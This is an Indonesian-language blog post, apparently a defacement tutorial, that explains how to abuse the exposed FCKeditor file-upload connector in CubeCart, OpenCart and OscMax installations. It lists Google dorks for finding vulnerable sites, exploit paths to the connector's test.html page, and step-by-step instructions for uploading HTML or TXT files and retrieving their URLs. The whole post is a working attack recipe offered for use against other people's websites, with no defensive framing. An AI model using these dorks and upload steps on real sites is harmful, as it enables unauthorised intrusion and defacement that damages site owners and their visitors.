Teknik deface Fck Editor dibagi menjadi 4 yaitu :
1. Powered CubeCart
Adalah module Deface Upload file, kita bisa menggunakan cara ini.
Dork : Powered By CubeCart V 3.0
Contoh: www.target.com/admin/includes/rte/editor/filemanager/browser/default/connectors/test.html
2. Powered By OpenCart
Dork : Powered By OpenCart
Exploit: admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html
Contoh : www.target.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html
3. Powered By OscMax V 2.0
Dork : Powered By OscMax V 2.0
Exploit : FCKeditor/editor/filemanager/browser/default/connectors/test.html
Contoh ;www.target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html
4. Hacking TXt.
Hacking Txt ini sama saja dengan Konsep 3 di atas it, cuma bedany khusus fiile txt saja yg bisa di upload, bentuk file lain tdk akan mnerima
Dork : Inurl:/FCKeditor/editor/filemanager/
Exploit : /FCKeditor/editor/filemanager/browser/default/connectors/test.html
Contoh: www.target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html
Contoh: www.target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html
dengan mencarinya dengan google dork atau mengexploit urlnya langsung ( tidak semua website support dengan cara fck editor sebaiknya anda mencarinya dengan google dork saja )
Jika sudah ketemu url target maka akan muncul tampilan seperti ini.
- Ganti connectornya menjadi PHP
- Klik choose file sesuai jenis website jika opencart anda bisa upload file html tetapi jika bukan biasanya hanya bisa upload file txt
- Klik Upload
- Jika berhasil maka akan muncul pesan "File Upload No Error"
- Klik Get folder untuk mendapatkan URL file yang di Upload
belajar Juga Fckeditor 2017 ( exploit baru + drok baru ) di sini gan
tag : cara deface dengan upload file , macam macam teknik fck editor , jenis jenis deface dengan fck editor , tutorial deface denga teknik opencart , cara deface dengan CubeCart , belajar deface dengan OscMax V 2.0 ,
deface dengan mudah dengan Hacking TXt.
No comments:
Post a Comment